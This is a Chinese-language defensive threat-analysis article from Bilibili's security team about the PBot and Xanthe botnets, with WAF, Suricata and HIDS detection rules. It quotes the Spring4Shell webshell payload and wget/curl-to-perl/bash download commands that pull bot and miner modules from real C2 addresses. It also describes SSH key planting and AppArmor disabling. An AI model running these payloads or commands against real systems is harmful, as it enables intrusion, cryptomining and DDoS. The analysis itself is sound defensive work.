本期作者 曲妍峰 资深安全工程师 01。僵尸网络 僵尸网络Botnet是指采用一种或多种传播手段,利用bot(僵尸程序)病毒感染和控制数万个主机即黑客常说的傀儡机或肉鸡(肉机),组织成一个个命令与控制(commandandcontrol,CC)节点。控制僵尸网络的攻击机称为僵尸主控机(Botmaster),主控机通过CC服务器向bot发布命令来发送伪造的虚假数据包或是垃圾数据包,达到使攻击目标瘫痪并拒绝服务(DDoS)的目的。据公开报道显示,唐山一骇客曾控制了6万台计算机对某音乐网站进行分布式拒绝服务(DDoS)攻击,造成该网站无法正常提供服务,损失上百万元人民币。 1。1主要特点 1。僵尸网络是一个可控制的网络,它具有一定的分布性,随着bot程序的不断传播而不断有新位置的僵尸计算机添加到这个网络中来。 2。采用了一系列恶意传播手段形成,例如高危漏洞攻击、邮件投送等各种病毒与蠕虫的传播手段,都可以用来进行Botnet的传播,从这个意义上讲,恶意程序bot也是一种病毒或蠕虫。 3。Botnet最主要的特点是可以一对多地执行相同的恶意行为,比如可以同时对某目标网站进行分布式拒绝服务(DDos)攻击,同时发送大量的垃圾邮件等,而正是这种一对多的控制关系,使得攻击者能够以极低的代价高效地控制大量的资源为其服务。 1。2活跃度统计 利用威胁情报收集手段对僵尸网络活跃情况进行统计分析,从安全社区论坛、国内外厂商报告、安全研究机构等多处进行情报数据采集,如各僵尸网络的IOC(IndicatorsofCompromise)情报获取频率、相关报告数量、攻击活动时间等,并结合WAF防护日志研判,分析统计近3个月内活跃情况如下表。安全部门会定期根据活跃僵尸网络排名制定安全防御策略并实施系列防护手段,由于篇幅有限,本文将重点介绍针对近期排名一、二的僵尸网络所采取的防御策略。 02。PBot僵尸网络 2。1资料背景 PBot僵尸网络家族是近年来异常活跃的P2P僵尸网络,善于利用新漏洞发起攻击,如Spring4Shell漏洞(CVE202222965)、GitLabCEEERCE漏洞(CVE202122205)等。因其bot模块为GitHub开源的IRCBot(采用Perl语言编写),且病毒脚本中包含perlbot关键字而得名。据公开资料显示该僵尸网络正通过大量攻击互联网主机植入恶意bot脚本构建僵尸网络来进行挖矿牟利,目前已有上万个受害主机失陷。 2。2入侵钻石模型 威胁情报分析领域的入侵钻石模型理论可以用于对僵尸网络组织进行分析,该模型基于集合和图论,分类并创建入侵活动模型,模型的基础是一个原子元素(事件),并由至少四个互连(链接)的特征(节点)组成:技战术手段,基础设施,受害者和影响危害。根据入侵钻石模型理论对PBot僵尸网络家族特征刻画分析及档案建立:攻击技术手段(恶意代码、工具、漏洞):Spring4Shell漏洞(CVE202222965)、GitLabCEEERCE漏洞(CVE202122205)利用的网络基础设施(IP、域名、邮箱、URL):主机IP攻击目标特征(行业、地理):互联网行业攻击影响危害(最终目的):挖矿、DDoS 2。3技术分析 执行流程:攻击者首先利用Spring4Shell(CVE202222965)漏洞、GitLabCEEERCE(CVE202122205)漏洞向受影响的脆弱主机植入恶意文件,包含恶意脚本jui。sh、僵尸网络bot模块、lans(下载ssh暴破模块)。恶意脚本jui。sh会下载挖矿shell脚本45。647。txt进行门罗币挖矿并运行僵尸网络bot模块lan构建僵尸网络,恶意脚本lans会从C2(89。44。9。246)下载lan。jpg实现SSH暴破实现横向传播,最终构成挖矿僵尸网络。 2。3。1Spring4Shell漏洞(CVE202222965) 攻击者利用Spring4Shell(CVE202222965)漏洞向受影响的脆弱主机植入恶意挖矿脚本及bot模块。Spring4Shell是一个高危远程代码执行(RCE)漏洞,影响JDK9上运行的所有SpringMVC、SpringWebFlux应用程序。分析Spring4Shell漏洞原理,并结合Pbot利用方式总结请求中存在如下特征: 特殊请求头getheaders{prefix:lt;,suffix:,Thismayseemstrange,butthisseemstobeneededtobypasssomecheckthatlooksforRuntimeinthelogpatternc:Runtime,} 攻击paylaodclass。module。classLoader。resources。context。parent。pipeline。first。pattern257Bprefix7Di20java。io。InputStream20in203D20257Bc7Di。getRuntime()。exec(request。getParameter(22cmd22))。getInputStream()3B20int20a203D2013B20byte5B5D20b203D20new20byte5B20485D3B20while((a3Din。read(b))!3D1)7B20out。println(new20String(b))3B207D20257Bsuffix7Diclass。module。classLoader。resources。context。parent。pipeline。first。suffix。jspclass。module。classLoader。resources。context。parent。pipeline。first。directorywebappsROOTclass。module。classLoader。resources。context。parent。pipeline。first。prefixshellclass。module。classLoader。resources。context。parent。pipeline。first。fileDateFormat 下载并执行僵尸网络bot模块GETshell。jsp?pwdk3rwincmdwgetqO89。44。9。246jperlHTTP1。1 检测思路防护策略lWAF:Web应用防火墙(WebApplicationFirewall),通过执行一系列针对HTTPHTTPS的安全策略来专门为Web应用提供防护的一款安全产品,是B站安全防护体系的第一道防线lNIDS:网络入侵检测系统(NetworkIntrusionDetectionSystem),是安全部门基于suricata自主研发的网络入侵检测系统。通过被动地监测网络上传输的原始流量,对获取的网络数据进行处理,从中提取有用的信息,再通过与已知攻击特征相匹配(策略规则配置)来识别攻击事件lIPS:入侵防御系统(IntrusionPreventionSystem),检测网络或网络设备间非法流量传输行为的安全防护设备lHIDS:主机型入侵检测系统(HostbasedIntrusionDetectionSystem),作为监视器和分析器,监视主机系统动态的行为以及整个计算机系统的状态 特殊请求头 a)使用WAF配置安全策略,检测外网存在特殊请求头的request,并实时拦截,策略配置如下: a)配置suricata规则,检测产线IDC中存在特殊请求头的request,当发送恶意攻击请求时服务端成功响应后产生告警,对流联动检测规则编写如下: alerthttpanyanyanyany(msg:CVE202222965:Spring4Shell远程命令执行漏洞检测Header;flow:toserver,established;content:prefix;httpheader;nocase;content:;httpheader;nocase;content:suffix;httpheader;nocase;content:lt;;httpheader;nocase;flowbit:set,name1;sid:500005;metadata:bycustom;)alerthttpanyanyanyany(msg:CVE202222965:Spring4Shell远程命令执行漏洞检测HeaderResponse;flow:toclient,established;content:200;httpstatcode;content:OK;httpstatmsg;flowbit:isset,name1;sid:500006;metadata:bycustom;) 攻击payload a)使用WAF配置安全策略,检测外网存在特殊body的request,并实时拦截,策略配置如下: 配置suricata规则,检测产线IDC中存在特殊请求body的request,当发送恶意攻击请求时服务端成功响应后产生告警,对流联动检测规则编写如下: alerthttpanyanyanyany(msg:CVE202222965:Spring4Shell远程命令执行漏洞检测Request;flow:toserver,established;content:prefix;httpclientbody;nocase;content:suffix;httpclientbody;nocase;content:getRuntime();httpclientbody;nocase;content:class。module。classLoader。resources。context。parent。pipeline。first。pattern;httpclientbody;nocase;pcre:{prefix}isjava。io。InputStreamsinss{c}i。getRuntime()。exec(request。getParameter(。?))。getInputStream();Ri;flowbit:set,name2;sid:500007;metadata:bycustom;)alerthttpanyanyanyany(msg:CVE202222965:Spring4Shell远程命令执行漏洞检测BodyResponse;flow:toclient,established;content:200;httpstatcode;content:OK;httpstatmsg;flowbit:isset,name2;sid:500008;metadata:bycustom;) 下载并执行僵尸网络bot模块 a)使用WAF配置安全策略,检测Pbot下载执行僵尸网络bot模块的GET请求,并实时拦截,策略配置如下: a)配置suricata规则,检测产线IDC中Pbot下载执行僵尸网络bot模块的GET请求,当发送恶意攻击请求时服务端成功响应后产生告警,对流联动检测规则编写如下: alerthttpanyanyanyany(msg:Pbot僵尸网络恶意下载执行检测;flow:toserver,established;content:shell。jsp;httpuri;nocase;content:cmdwget;httpuri;nocase;content:89。44。9。246;httpheader;flowbit:set,name3;flowbit:noalert;sid:500009;metadata:bycustom;)alerthttpanyanyanyany(msg:Pbot僵尸网络恶意下载执行检测Response;flow:toclient,established;content:200;httpstatcode;content:OK;httpstatmsg;flowbit:isset,name3;sid:500010;metadata:bycustom;) 2。3。2GitLabCEEERCE(CVE202122205) 攻击者利用GitLabCEEERCE(CVE202122205)漏洞向受影响的脆弱主机植入恶意挖矿脚本及bot模块。此漏洞由于GitLab没有正确验证传递给文件解析器的图像文件,导致高危远程代码执行(RCE)。分析GitLabCEEERCE利用方式,并结合Pbot利用方式总结请求中存在如下特征: 获取用户cookie RCE 使用登陆请求返回的Cookie值和csrftoken值,利用漏洞接口uploadsuser上传包含恶意代码的图片文件(如下载僵尸网络的bot模块),实现RCE 检测思路防护策略 恶意图片上传 a)使用WAF配置安全策略,检测外网存在Gitlab的uploadsuser接口上传包含恶意命令的图片文件请求,并实时拦截,策略配置如下: a)配置suricata规则,检测产线IDC中对Gitlab的uploadsuser接口上传包含恶意命令的图片文件请求,并与Gitlab登陆态获取请求联动检测: alerthttpanyanyanyany(msg:Gitlab登陆请求;flow:toserver,established;content:GET;httpmethod;nocase;content:userssignin;httpuri;nocase;flowbit:set,gitlab;flowbit:noalert;sid:500010;metadata:bycustom;)alerthttpanyanyanyany(msg:CVE202122205:Gitlabexiftool远程命令执行漏洞;flow:toserver,established;content:uploadsuser;nocase;httpuri;fastpattern;content:gitlabsession;nocase;httpcookie;content:Copyright;nocase;httpclientbody;flowbit:isset,gitlab;sid:500011;metadata:bycustom;) 2。3。3僵尸网络bot模块下载 利用上述漏洞,可下载并执行以下三种恶意脚本jui。sh、僵尸网络bot模块pp、恶意脚本lans,在流量传输监控中可检测拦截请求中包含的相关下载命令。 1。恶意脚本jui。sh会下载并运行僵尸网络bot模块lan(使用Perl编写)来构建僵尸网络,并下载挖矿shell脚本45。647。txt进行门罗币挖矿,下载命令如下:wgetqO89。44。9。246lanperlcurls89。44。9。246lanperlwgetqO89。44。9。246all45。647。txtbashcurls89。44。9。246all45。647。txtbash 2。僵尸网络bot模块pp是使用Perl编写的DDos攻击模块,下载命令如下:wgetqOrun。psybnc。orgppperlcurlsrun。psybnc。orgppperl 3。恶意脚本lans会从C2(89。44。9。246)下载ssh暴破模块lan。jpg(压缩包文件,包含ssh暴破脚本、暴破字典及生成器)来实现内网横向暴破,lans下载命令如下:wgetqO89。44。9。246lanscurls89。44。9。246lans 检测思路防护策略 jui。sh 使用WAF配置安全策略,检测外网存在lan模块下载请求: b)配置suricata规则,检测产线IDC中lan模块下载请求:alerthttpanyanyanyany(msg:Pbot僵尸网络bot模块lan模块下载检测;flow:toclient,established;content:lan;httpheader;nocase;fastpattern;pcre:(wgetcurl)。?(89。44。9。246lanperl)Ri;sid:500020;metadata:bycustom;)alerthttpanyanyanyany(msg:Pbot僵尸网络bot模块lan模块下载检测;flow:toclient,established;content:lan;httpclientbody;nocase;fastpattern;pcre:(wgetcurl)。?(89。44。9。246lanperl)Ri;sid:500021;metadata:bycustom;) c)使用WAF配置安全策略,检测外网存在shell脚本45。647。txt下载请求: d)配置suricata规则,检测产线IDC中shell脚本45。647。txt下载请求: alerthttpanyanyanyany(msg:Pbot僵尸网络bot模块lan模块下载检测;flow:toclient,established;content:。txt;httpheader;nocase;fastpattern;pcre:(wgetcurl)。?(89。44。9。246all。。txtbash)Ri;sid:500022;metadata:bycustom;)alerthttpanyanyanyany(msg:Pbot僵尸网络bot模块lan模块下载检测;flow:toclient,established;content:。txt;httpclientbody;nocase;fastpattern;pcre:(wgetcurl)。?(89。44。9。246all。。txtbash)Ri;sid:500023;metadata:bycustom;) pp模块 a)使用WAF配置安全策略,检测外网存在pp模块下载请求: b)配置suricata规则,检测产线IDC中pp模块下载请求 alerthttpanyanyanyany(msg:Pbot僵尸网络bot模块pp模块下载检测;flow:toclient,established;content:pp;httpheader;nocase;fastpattern;pcre:(wgetcurl)。(run。psybnc。orgppperl)Ri;sid:500024;metadata:bycustom;)alerthttpanyanyanyany(msg:Pbot僵尸网络bot模块pp模块下载检测;flow:toclient,established;content:pp;httpclientbody;nocase;fastpattern;pcre:(wgetcurl)。(run。psybnc。orgppperl)Ri;sid:500025;metadata:bycustom;) c)根据pp模块功能特点,检测产线IDC中DDos请求,由于规则数量众多,仅列举部分规则: alertudpanyanyany53(msg:DDosDNSBIND9DynamicUpdateDoSattempt;bytetest:1,,40,2;bytetest:1,,0,5;bytetest:1,,0,1;content:000006;offset:8;content:c00c00ff;distance:2;classtype:attempteddos;sid:500026;metadata:bycustom;)alerttcpEXTERNALNETanySMTPSERVERS25(msg:DDosExcessiveSMTPMAILFROMDDoS;flow:toserver,established;content:MAILFROM3a;nocase;window:0;id:0;threshold:typelimit,trackbysrc,count30,seconds60;classtype:denialofservice;sid:500027;rev:2;metadata:bycustom;)alertudpEXTERNALNET123HOMENET123(msg:DDosPotentialInboundNTPdenialofserviceattempt(repeatedmode7request);dsize:1;content:17;threshold:typelimit,count1,seconds60,trackbysrc;classtype:attempteddos;sid:500028;rev:2;metadata:bycustom;) lans模块 a)使用WAF配置安全策略,检测外网从C2(89。44。9。246)下载ssh暴破模块lans请求: b)配置suricata规则,检测产线IDC中从C2(89。44。9。246)下载ssh暴破模块lans请求: alerthttpanyanyanyany(msg:Pbot僵尸网络bot模块pp模块下载检测;flow:toclient,established;content:lans;httpheader;nocase;fastpattern;pcre:(wgetcurl)。(89。44。9。246lans)Ri;sid:500029;metadata:bycustom;)alerthttpanyanyanyany(msg:Pbot僵尸网络bot模块pp模块下载检测;flow:toclient,established;content:lans;httpclientbody;nocase;fastpattern;pcre:(wgetcurl)。(89。44。9。246lans)Ri;sid:500030;metadata:bycustom;) c)根据pp模块功能特点,使用IPS检测ssh横向暴破行为: 03Xanthe挖矿僵尸网络 3。1资料背景 多家安全厂商报告显示,一款名为Xanthe的僵尸网络近两年正活跃进行挖矿活动,Xanthe是一个加密劫持恶意软件家族,其主要目标是劫持系统资源以挖掘Monero加密货币。Xanthe采用各种方法在网络中传播,例如收集客户端证书以使用ssh传播到已知主机,或传播到配置错误的DockerAPI的系统。最新报告显示,Xanthe木马除了继续从事挖矿的老本行外,新版本中还添加了投递名为brickerbotv2的Mirai僵尸网络bot程序的功能,攻击者可以借此实现对外发起DDoS攻击的目的。 3。2入侵钻石模型 根据威胁情报分析领域的入侵钻石模型理论,可以从以下角度对PBot僵尸网络家族特征刻画分析及档案建立:攻击技术手段(恶意代码、工具、漏洞):fczyo、alduro、sesa。txt利用的网络基础设施(IP、域名、邮箱、URL):主机IP攻击目标特征(行业、地理):互联网行业攻击影响危害(最终目的):挖矿 3。3技术分析 Xanthe挖矿僵尸网络的恶意功能分别集成在各个恶意脚本中,主要分为以下3个模块: http:209。141。34。37fczyo http:209。141。34。37alduro http:209。141。34。37sesa。txt 3。3。1fczyo模块 lqbot()函数:将http:45。61。184。81x86文件下载到本地并执行,分析代码内容发现,x86文件是基于开源Mirai代码改编的ELF可执行程序,类似网上流行的Mirai僵尸网络样本,具有反调试、单例运行、阻止重启设备等功能,且在运行后会自删除,并通过连接45。61。184。81:81地址来接收主控机下发的DDoS攻击指令,并支持多种DDos攻击类型,包括tcpsyn、tcpack、tcpstomp、udpdns、udpplain等 检测思路防御策略 a)使用NIDS检测产线流量中的恶意x86文件传输,文件以md5值唯一识别,若发现恶意文件告警则立即上机清理,规则配置如下: b)防火墙封禁可以连接DDoS指令的恶意地址45。61。184。81 host函数:分析host函数源码,发现此函数主要目的是将131。153。142。106pool。hashvault。pro矿池地址写入本地的etchost文件 检测思路防御策略 a)HIDS检测etchost文件是否被修改,若修改则产生告警并介入处理,策略配置如下: b)防火墙直接封禁矿池地址 3。3。3。alduro模块 filegetgo函数:会执行下载http:209。141。34。37adnckil挖矿程序请求,分析恶意程序发现采用了UPX加壳,脱壳处理后可以看到它是编译于2022。7。13日的开源XMRig矿机6。18。0版本 检测思路防御策略 a)IPS文件检测adnckil挖矿木马下载,md5值为3932979ca166dc69cca192490318f700,规则配置如下: b)使用NIDS监测产线流量中可执行文件下载,规则如下:alerthttpEXTERNALNETanyHOMENETany(msg:Executableandlinkingformat(ELF)filedownloadOverHTTP;flow:established;flowbits:isnotset,ET。ELFDownload;filedata;content:7FELF;within:4;flowbits:set,ET。ELFDownload;reference:url,www。itee。uq。edu。aucristinastudentsdavidhonoursThesis96bff。htm;reference:url,doc。emergingthreats。netbinviewMain2000418;classtype:policyviolation;sid:2019240;rev:1;metadata:createdat20220925,updatedat20221013;) lsshkeysgo函数:往authorizedkeys文件内写入攻击者的SSH公钥,实现免密登录 检测思路防御策略 a)HIDS定时监控authorizedkeys文件文件是否被写入特殊SSH公钥 3。3。3。sesa。txt模块 lsesa。txt模块与fczyo模块存在相同指令,即修改etchosts文件,阻断受害主机上原本存在的安全软件以及竞争对手的网络连接,达到独占网络带宽的目的l禁用AppArmor,AppArmor是Linux内核的一个安全模块,其允许系统管理员将每个程序与一个安全配置文件关联,可以指定程序可以读、写或运行哪些文件,是否可以打开网络端口等,从而限制程序的功能,达到访问控制的目的。 检测思路防御策略 a)同fczyo模块中host函数检测思路相同,使用HIDS监控etchosts文件改动 b)HIDS监测主机是否执行systemctlstopapparmor命令 作者:曲妍峰 来源:微信公众号:哔哩哔哩技术 出处:https:mp。weixin。qq。comsX9l4M0RzVJJeNGXmx5TrBw